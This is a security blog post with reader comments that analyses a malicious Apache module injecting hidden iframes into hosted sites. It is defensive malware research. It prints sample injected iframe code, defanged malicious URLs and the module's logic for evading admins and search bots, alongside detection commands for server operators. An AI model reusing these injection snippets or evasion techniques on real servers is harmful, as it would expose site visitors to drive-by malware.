Malicious Apache Module Injects Iframes
10
Sep 12 Filed in Short Attack ReviewsIt’s a follow up to my post about server-wide iframe injection attack where I asked for any information about that tricky hack. Thanks to my readers and administrators of infected servers I have some new information about it. Now I know how it works and what is infected, but still have no idea how hackers break into servers, so your input is welcome.
Recap
This attack injects invisible malicious iframes into some server responses of all web sites on compromised servers. Typical code looks like this:
<style>.tlqvepxi { position:absolute; left:-1648px; top:-1752px} </style> <div class="tlqvepxi">
<iframe src="hxxp://matisere .com/21234443.html" width="581" height="476"></iframe></div>
in web pages and
document.write('<style>.hmfabv9 { position:absolute; left:-1141px; top:-1518px} </style> <div class="hmfabv9">
<iframe src="hxxp://sepatch .org/35204443.html" width="122" height="202"></iframe></div>');
in .js files.
All numeric parts and style names in this code are random. Iframe URLs synchronously change on all infected servers several times a day. They point to malicious pages on compromised third-party legitimate sites:
hxxp://sepatch .org/35204443.html
hxxp://ksner .pl/79144443.html
hxxp://hdreceivermitfestplatte .com/84064443.html
hxxp://quandlarcencielnaitra .com/14464443.html
hxxp://sepatch .org/35204443.html
hxxp://zsaugustowo .pl/40534443.html
hxxp://matisere .com/76254443.html
hxxp://pokercompany .com/46254443.html
hxxp://goplast .it/61114443.html
hxxp://grupamuzyczna .foxnet .pl/54344443.html
hxxp://michaelgaigg .com/88224443.html
hxxp://enertres .com/95154443.html
hxxp://sexualreawakening .com/56684443.html
hxxp://deasocial .com/65674443.html
hxxp://stampsbypost .com/44644443.html
hxxp://pcstation .es/32634443.html
hxxp://awakenedwithin .com/41714443.html
hxxp://paraguana .diocesis .ws/27944443.html
hxxp://viveenarte .com .ar/31744443.html
hxxp://thinkipa .com/52984443.html
hxxp://barclaywebdesign .ca/36234443.html
hxxp://mullerinstalacoes .com .br/99814443.html
hxxp://ultimateplrpack .com/51794443.html
hxxp://hotelcandeiasubatuba .com .br/14464443.html
hxxp://astroindia .com/15854443.html
hxxp://zerrozipshoppos .com/?a=YWZmaWQ9MDUyODg=
hxxp://webtrackerswimp .org/?a=YWZmaWQ9MDUyODg=
hxxp://bombkansas .info/?a=YWZmaWQ9MDUyODg=
hxxp://motorcyclecycling .org/?a=YWZmaWQ9MDUyODg=
…
As you can see all URLs end with either “4443.html” or “?a=YWZmaWQ9MDUyODg=“. Such URLs are good both for tracking and for adding appropriate rewrite rules for relatively random URLs on compromised sites.
Malicious Apache module
It turned out that all affected servers had infected Apache web server. Specifically, there was a malicious Apache .so module that injected all those iframes into server responses.
On the two servers that I worked with, the names of the malicious modules were: mod_spm_headers.so and mod_spm_mem.so. The file names may vary on different servers. I know that it could also be mod_log.so and mod_security.so.
They can be usually found in /usr/lib/httpd/modules or /usr/lib64/httpd/modules or whatever is your Apache module directory is. Sometimes the file is in the /usr/lib and symlinked to Apache modules directory.
In httpd.conf there should be a corresponding line like:
LoadModule spm_headers_module modules/mod_spm_headers.so
In some cases this line can be found in httpd.conf include files, e.g. extra/httpd-includes.conf.
The rogue Apache modules have the same timestamp as the rest legitimate modules (it quite easy to touch them) and their names look innocuous (didn’t you expect malicious_iframes.so after all?). So you should either check file names agains the list of real Apache modules or search for .so files that contain strings specific to these malicious modules. For example the following command should help reveal malicious .so file in the directory with Apache modules.
ls *.so | xargs strings | grep "module switcher"
or
ls *.so | xargs strings | grep dlEngine
What does this module do?
If you check output of the Linux strings command for those .so files, you will find quite descriptive keywords that give you an idea of what they do.
_CHECK_RAW_COOKIE
KEY_CLIENT
_CHECK_SITE_KERNEL
_CHECK_REFERER_IS_HOST
base64decode
xor_decrypt_string
xor_encrypt_string
_GEN_FILENAME_BLACKLIST
_CHECK_REFERER_IS_SEO
SIZE_ARRAY_SE_REFERER
_CHECK_BOT_USERAGENT
SIZE_ARRAY_BAN_USERAGENT
_ADD_TO_BLACKLIST
_CHECK_SITE_ADMIN
SIZE_ARRAY_BLACKLIST_URI
CLIENT_IP
SIZE_ARRAY_BAN_PROC
_IS_SUDOER
SIZE_ARRAY_SUDOERS
_CHECK_BLACKLIST
_INJECT_SKIP
_ADD_TO_WAITLIST
GEN_FILENAME_WAITLIST
_SESSION_DELETE
GEN_FILENAME_SESSION
_SESSION_KEYGEN
_SET_COOKIE_KEY
_INJECT_SAVE
GEN_FILENAME_INJECT
_SESSION_SAVE
_CHECK_LOCAL_IP
_SESSION_LOAD
_INJECT_UPDATE
FILENAME_UPDATING
_CHECK_WAITLIST
_INJECT_LOAD
_INJECT_DO
SIZE_ARRAY_TAGS_FOR_INJECT
KEY_XOR
C_MODULE_VERSION
C_CC_HOST
C_CC_URI
C_CC_REQUEST_FORMAT
C_MARKER_LEFT
C_MARKER_RIGHT
C_TMP_DIR
C_LIST_PREF
C_KEY_COOKIE_NAME
C_ARRAY_TAGS_FOR_INJECT
C_ARRAY_BAN_USERAGENT
C_ARRAY_BLACKLIST_URI
C_ARRAY_SE_REFERER
C_ARRAY_SUDOERS
C_ARRAY_BAN_PROC
C_ARRAY_BAN_LOCAL_IP
dlEngine
dl module switcher
As you can see, this module checks cookies, Referrer and User-Agent headers, tries to identify unwanted traffic from search engine bots (_CHECK_BOT_USERAGENT) and site admins (_CHECK_SITE_ADMIN) and server admins (_IS_SUDOER) and blacklists such requests (_ADD_TO_BLACKLIST). Then it checks if the visitor is coming form search engine results (_CHECK_REFERER_IS_SEO, C_ARRAY_SE_REFERER) and injects something (_INJECT_DO) after specific tags (C_ARRAY_TAGS_FOR_INJECT). Moreover, this module works with encrypted content (base64decode, xor_decrypt_string, xor_encrypt_string). You definitely don’t expect to see something like that in a legitimate module named mod_spm_headers.so!
These “strings” helped me find the source code of an older version of the malicious Apache module http://pastebin.com/6wWVsstj. The current version has changed since then but this code helps understand how this module works.
- It’s a typical “filter” Apache module that works in the middle of Apache pipeline: it gets generated response, modifies it if needed and passes it further to Apache.
- Most constants are encrypted using XOR. Although it’s a very simple encryption algorithm, it helps to hide constant values (URLs, filenames, etc. ) from people trying to extract meaningful strings from compiled .so files.
- The module used (in that old version) quite complex rules for injections:
- Requests should not come from IP addresses of search engines and security companies
- User-Agent should not contain strings specific to search engines’ bots, automated tools (e.g. Curl, Indy Library) and browsers that the attackers are not interested in (Opera Mini, browsers on Macs, iPhones, PlayStations).
- Requests should not come from blacklisted and temporary “suspended” IPs (see below).
- If request looks “good” and it has a search engine as a Referrer (search traffic), then the module creates a 5 minutes‘ session for that IP address. Then if the requested page includes some .js files from the same domain or if that user clicks on some site level links within those 5 minutes then the loaded .js files or the next site page (counted as a second hit during the session) will contain injected malicious code. And after that the attacked IP is “suspended” for the next 7 days. — Quite complex, isn’t it? No wonder, it was hard to detect. However, the infection rate was probably suboptimal either and the current version of the malicious module uses less complex rules.
- The module only works with responses that have the following types: “text/html“, “javascript“, “text/js” (web pages and JavaScript files).
- In web pages, it searches for the first of the following tags: </script>, </style>, </head>, </title>, </body>, </html> and injects the malicious code right after it.
- In JavaScript files, it injects the malicious code as a document.write(<malicious HTML code>) call.
- The malicious code is cached in a file (see below) and is getting updated from a remote server every 10 minutes. It is not necessary that it receives completely new code every 10 minutes (in practice it changes about once every hour) but potentially it can change that often.
Blacklists
The module checks the /var/run/utmp file to see if the current visitor IP is the same as one of the IPs of users currently logged into this server. Such users are most likely site webmasters or server admins. They should not be aware of the infection so their IPs are getting blacklisted.
The same happens to users who open web pages that contain the word “admin” in their URLs. Hackers assume that such users are most likely site admins or site owners who should also not know about the security issue. Their IPs are also permanently blacklisted.
For other visitors, the module can work in two modes:
- in DO_BAN_SITEKERNEL, every visitor that comes to site directly (without an external referrer) gets blacklisted
- in DO_EXPLOIT_ONLY_SEO, every visitor who doesn’t come from search engines gets blacklisted
Maintenance files
/var/tmp/sess_<md5(visitorIP)> — blacklist file for a specific visitor (empty. Visitor is blacklisted if this file exists)
/var/tmp/sess_<md5(md5(visitorIP))> — session file for a specific visitor (contains session information: timestamp, referrers, session key and visit number)
/var/tmp/sess_<md5(md5(md5(visitorIP)))> — temporary “ban” file for a specific visitor (contains the time when the visitor was “suspended” – expires in 7 days)
/var/tmp/sess_<md5(“cache”)> (/var/tmp/sess_0fea6a13c52b4d4725368f24b045ca84 ?) — cache file. It contains a timestamp (required to figure out whether the current malicious code is expired – 10 minutes) and the current malicious code (xor-encrypted).
New information required
This information is mainly based on the analysis of the source code of that one year old version of the malicious Apache module. Most of it is still true but some things have definitely changed. For example, server admins who sent me the malicious .so files could find session and cache files in the /var/tmp directory. I can also see some change in the injection algorithm. And the .so files contain some new strings literals. It is also not clear what is that remote URL where the malware gets new iframe codes from.
If you know how to decompile Linux .so files (ELF) you can contact me and I’ll send you the files I have.
Spreading of the attack
During my investigation I found quite a few forum posts and articles about the malicious Apache modules. Some of them are a couple of years old and some are quite new.
Here are just some of them:
- Extending Apache to Serve Malware by Symantec
- Interworx Support Desk Database Compromised
- Google search ["mod_log.so" malicious] for more…
Such attacks remain latent because of the complexity of detection. I rarely come across such things myself. However this summer I got more that usually requests from webmasters of sites on infected servers. This may be a sign of an increased activity of this attack. I wonder how many servers are currently infected.
Mysterious infection vector
While this hack is not new, I couldn’t find reliable information about how hackers break into servers and get root access (the malicious modules are owned by root and httpd.conf files can only be modified by root).
At this point I can say that it doesn’t look like a security issue of some control panel. The two infected sites I worked with had different control panels: Virtualmin and cPanel.
The malicious module doesn’t come from Linux repositories.
So someone somehow breaks into servers with root permissions, which is quite alarming.
One of the servers had only one user (dedicated server), used strong passwords, didn’t allow remote root logins, used custom ports and fail2ban to prevent brute-force attack. Nonetheless it was hacked within one month and its administrator couldn’t find sings of the intrusion in logs files, only legitimate logins (of course, with root access, it is possible to remove most traces).
To server administrators
If you use Apache 2.x on your server, I recommend that you check if all Apache modules on your server are legitimate.
The following commands is a good start:
cd <Apache Module Dir>
ls *.so | xargs strings | grep "module switcher"
or
ls *.so | xargs strings | grep dlEngine
You should also check all modules loaded in httpd.conf and its include files.
##
Do you have anything to add? Your thoughts and comments are welcome! I’m particularly interested in how hackers gain root access on those servers and where the rogue modules download the updated malicious code from.
Related posts:
- RFI: Server-wide iframe injections
- Beladen – Elusive Web Server Exploit. (information for site owners and hosting providers)
- Goscanpark: 13 Facts About Malicious Server-Wide Meta Redirects.
- Introduction to Website Parasites
Reader's Comments (42)
Leave a Comment
About this blog
Occasional posts from the developer of
Unmask Parasites about things that hackers already know and site owners should know (if they don't want to be victims).
Exploit reviews, security tips, and all that jazz.
Hi,
Thanks for posting this.
I would like to mention that if you want to find out list of apache modules actually loaded, you can run following command:
apache2ctl -t -D DUMP_MODULESCheers,
Gaurav
Hello,
Thanks for all these great information :). I recently found that the hack even injects the iframe after the closing
</title>as well. Thanks to all your information now I can look into the apache modules myself.
[...] Even scarier: Via Apache modules on some shared/dedicated servers. Dennis did a great post on it. [...]
Thanks for this. Your xargs command wasn’t happy on my centOS box. I used this:
(cd to apache module dir)
for each in `ls *.so` ; do strings $each |grep 'module switcher' ; donefor each in `ls *.so` ; do strings $each |grep 'dlEngine' ; done[...] Malicious Apache Module Injects Iframes [...]
Thx for this intel!
I found same threat at my side, it lead to “Security Shield” FakeAV.
For more Details : http://ondailybasis.com/blog/?p=1339
:)
thx
D.L.
check it home slice….your boy goes by the handle “Left4Dead”, and you can find him selling his FTP ass kicker — called DarkLeech– on Damagelab .org (amongst other forums).
## screen shot of forum post:
http://imgur.com/NRQQl
## text doc of post:
http://pastebin.com/u7AcYSNi
>> notice how he mentions your article ):)
>> hit a cracker up if you need help with translation or questions
[...] qu’ils ont chargé sur le serveur. On pourra lire les articles sur ce module Darkleech d’Unmask parasites, Webmasterworld ou encore Day by day par [...]
This assumes the access was gained by cracking FTP account which is not true. Still no ideas how this gets installed with root privileges.
About the “cracker”, interpol is already looking for him.
It didn’t say it was done via FTP. But it says that “root” access is required.
[...] Rogue Apache Module – September 2012M – Our friend Dennis with Unmask Parasites wrote an outstanding article outlining an issue he had been seeing, where a rogue Apache module was being inserted and used to infiltrate websites on the server. We were actually able to get a case where it wasn’t a self hosted site, but a host in which they were experiencing an infrastructure compromise. [...]
[...] While doing my research I stumbled upon this great post: Malicious Apache Module Injects Iframes. [...]
[...] was present in this presentation. The original discovery is attributed to Unmask Parasites in September [...]
Hi,
this seem to be OS specific ? (i.e. on linux)
Probably yes. However since C++ and Apache API are generally platform-independent, the modules can be compiled on Windows. It may require some more manual action (customization, installation) though
[...] it appears that what we call Linux/Chapro.A has already been publicly discussed here http://blog.unmaskparasites.com/2012/09/10/malicious-apache-module-injects-iframes/by [...]
[...] As forked out here it appears that what we call Linux/Chapro.A has already been publicly discussed here by UnmaskParasites.We were not wakeful of this element before edition this blog. Thank we Eric [...]
[...] In my case, the problem was the web host. The exact scenario that happened to me is described here: Malicious Apache Module Injects Iframes (great [...]
[...] (from Unmask) was able to find the source code for those modules, and posted on his blog: Malicious Apache Module Injects Iframes, so we won’t go into much more details here, since he covered it very [...]
[...] September of 2012, Dennis, of Unmask Parasites, first wrote about rogue apache modules being injected into web servers. It has since been all the [...]
If it helps anyone else, I just discovered and removed this hack from a client’s server. The module on their system was named “mod_get_filter.so”, and I was able to identify it by using:
ls *.so | xargs strings --print-file-name
the two strings passed to grep in the commands above didn’t show up for me (“module switcher” and dlEngine), so I did the above command and then looked for suspicious stuff. I finally found a module that had a lot of strings with the word “inject”. It also seemed to be checking cookies and referrers.
The next tricky part was finding the apache conf file where it was loaded. I found it in ssl.conf, though we don’t use SSL on this server. The ssl.conf file had +i and +a attributes set using chattr. Here’s where I learned about those flags: http://www.aboutlinux.info/2005/11/make-your-files-immutable-which-even.html
HTH.
Indeed, the module switcher and dlEngine strings are no longer in new versions of those modules since the late 2012.
You might also want to check authenticity of sshd and other modules that use SSH (e.g. sftp, scp). Sucuri reports that they found backdoors in them.
http://blog.sucuri.net/2013/01/server-side-iframe-injections-via-apache-modules-and-sshd-backdoor.html
Thank you very much for the heads up Denis, I’m researching the ssh situation today.
I am grepping rpm -Va for ssh, sftp, and scp — nothing found so far. Are there any other binaries you would suggest I check? I am a web developer, so all of this server stuff is not my primary field of expertise.
Also, I do have a copy of the malicious apache module if you’d like, I can give it to you. Or I at least could provide the strings output for that module if it’s any help. Of course the hacker / apache module is viewing these comments so it might be counterproductive.
Jessica
Note, rpm is for Red Hat-based Linux and those that use this package manager. You might need to use something else if you have Debian-based Linux.
Here you can find more information about the ssh rootkit.
http://blog.sucuri.net/2013/02/linux-based-sshd-rootkit-floating-the-interwebs.html
You can post the new strings of the module on pastebin.com and share the link. Don’t worry about the hacker. He will be changing it anyway but now your information helps other server admins.
ls *.so | xargs strings | grep “module switcher”
ls *.so | xargs strings | grep dlEngine
Both didn’t match any .so
But grep _CHECK_RAW_COOKIE * showed up mod_load_mime.so which get’s loaded by conf.d/perl.conf on a Centos/Plesk Box.
Thanks for this article, it was very helpful for us!
Regarding the infection vector, for us, we traced it back to a silk rope hack, where php code was encoded into a seemingly valid image file that was uploaded via a user submitted form. Passing this along as it might help others to spot similar vulnerabilities.
Do you think it helped gain root access on your server?
Could you share the code?
wie found several apache modules beeing installed via ssh. modules can be found by using:
rpm -qf /path/to/apache/modules/*
(e.g. rpm -qf /usr/lib64/httpd/modules/*)
the modules are shown as not part of any package. if you search for the module via google you will not find any result (maybe this posting here). some example modul names we found:
mod_local_config.so
mod_chart_expires.so
mod_sec2_alias.so
mod_local_log.so
mod_build_cache.so
remove these files and remove the loadmodule from your httpdconf, and restart to get rid of it.
best,
jan
[...] 4 Still getting injections. I found that the security folks at Unmask Parasites have run into this critter before. They tracked it down to a malicious Apache module, which explains the site-wide infection. The intruder got root access to put it there, and you'll need root access to clean it. Check the below link for help. Malicious Apache Module Injects Iframes [...]
Hi, I’ve been educating my hosting company about this nasty little bugger. All the websites on one particular server were dishing out Torjan js/blacoleref.cl to every visitor; for days!!!!!
I eventually got them to unplug the machine, as they didn’t seem to understand the issue.
Anyways…
My question here, if anyone can help, is about php forms. My Hosting Company reckons that’s how the rootkit got in. And I’ve put a silly amount of checks into my php scripts. So is this the case?
Any pointers please…
Back in 2009 I saw a few similar attacks that used PHP to upload and run some binary to hijack Apache process. However, in this particular case I have no evidence that the initial attack vector involved PHP. Please let me know if you identify a working scheme though
Just cleaned up 285 infected servers.
Infection vector was positively confirmed, a hacked web admin panels. Hacked started end Feb 2013, infection started March 9th, I received information on Mar 14th, cleaned up done on Mar 22nd.
All RedHat-base Apache 2.x RPM-versions.
The latest version of modules was being used, not so much changes after reversed the details.
Went to the Blackhole’s FakeAV, found ZeroAccess too.
Incident report (in japanese) is here.
The complete analysis (in english) is here.
Your blog post helped very much, I thank you!
@unixfreaxjp at #MalwareMustDie
Same thing only slightly different:
grep _CHECK_RAW_COOKIE * showed up mod_balance_filter.so which was loaded by conf.d/python.conf on a Centos/Plesk Box.
Additionally the -i and -a flags were set on the python.conf file using lsattr to make removing the include difficult.
but still have no idea how hackers break into servers, so your input is welcome.
There have been malware routines that search for stored FTP info saved by Filezilla, Dreamweaver, etc that have been used for years (Gumblar). It also uses hidden frames. Now variants of the routine are housed in a Javascript that executes when the page is viewed and is a common mode of attack. The virus is not loaded to your machine but the FDP info is sent back to its master. A different computer downloads and infects files then uploads them on to the web site. The javascript is known by AV scanners so it is kept off a web designer’s computer to prevent early detection.
JS in a web browser that steals FTP passwords? That’s something new. Never heard of such things.
Could you share more details about that? How does it work? What browser are affected?
Hi.
> but still have no idea how
> hackers break into servers,
In our case was postive confirmed the “CVE-2012-1557″ Plesk vulnerability was used to gain control of shell to gain root privilege escalation in servers attacked in post infection.
PoC of root escalation taken was /var/log/messages & several root permission directory was bypasse by the attacker. yes this is for sure.
The details of the CVE used was: Vulnerability in admin/plib/api-rpc/Agent.php in Parallels Plesk Panel 7.x and 8.x before 8.6 MU#2, 9.x before 9.5 MU#11, 10.0.x before MU#13, 10.1.x before MU#22, 10.2.x before MU#16, and 10.3.x before MU#5 allows remote attackers to execute arbitrary SQL commands via “unspecified” vectors.
There is also another vector to be used in Plesk or maybe CPanel for this attack. In my case, Plesk webpanel installed in the ISP was targeted since the default configuration permitted the attacker to scan the version of Plesk from the remote by accessing a specific TCP/port.
In forensics result of some cases were also detected Wordpress login panel bruted (this is for those sites used WP.. is about 60%+ of the infected of the 250+servers we detected the infection), so I presume the hacker has many ways try to exploit web vulnerability of targeted sites. Means the possibility of usage of the hack tools/scripts are exist also here.
The mitigation is (1) To make sure you tune your web admin panel, (2) Make sure you used the latest version of it, (3) If you do not use it just remove the web admin panel service, which I strongly advise, (4) It would be good idea to start to consider applying more secure daemonized services for the vital linux services like with the configuration of SE-Linux or maybe chroot(jailing) the service for the future.
Regards,
Hendrik Adrian
@unixfreaxjp
#MalwareMustDie
hm, quite alarming that no trace of intrusion was detected. Is there any update perhaps?
The apache init process runs with root privs, either it is about this or another (perhaps 0-day?!) exploit at kernel level, which alarms me even more than just this malware spreading.
Infos about the used kernel versions of infected machines could also be useful.
You might want to read this comment http://blog.unmaskparasites.com/2012/09/10/malicious-apache-module-injects-iframes/comment-page-1/#comment-22789
For Gentoo try this:
ls *.so | xargs qfile | wc -l; ls -1 | wc -lin the Apache modules directory. If the second number is higher than there is a file in there which hasn’t been installed by portage.
On our server the malicious module was hidden in mod_string_proxy.so file.
Thanks for this information. I have had occasional reports from customers of iframe injection warnings for a couple of months. Checking the reported files revealed that nothing was wrong, so i assumed, like probably lots of people that this was just the Anti-Virus vendors creating a false positive.
However i have now found a malicious apache module loaded called “mod_string_headers.so”. A search on google for this filename brings back no results so i knew it was probably bogus. Running strings on it reveals similar to what you have listed including the _INJECT_DO command.
The module was loaded from a file called mailman.conf. The owner was mailman and i couldn’t change owner to root without removing the immutable attribute using
lsattr -i mailman.conf and
lsattr -a mailman.conf
Once this was done, i could chown to root and remove it.
Virus now hopefully gone. Just need to checkout SSH to make sure they can’t sneak back in.
I would suggest admins check out the md5deep utility. It will save md5 hashes of all files in a directory to a file which can then be checked regularly to see if a file has changed. I have the check running on my server several times a day and it emails me with the results. I have it checking all my website files, the apache directories and cron files.
Thank you for this article and very helpful comments. Found it after some hours.
The module in question, “mod_build_config.so”, was listed by package manager as not being part of any package.
Found the load command in “python.conf” which had ACL set so that root couldn’t edit/delete. Not knowing my server’s syntax, spent some time figuring that out.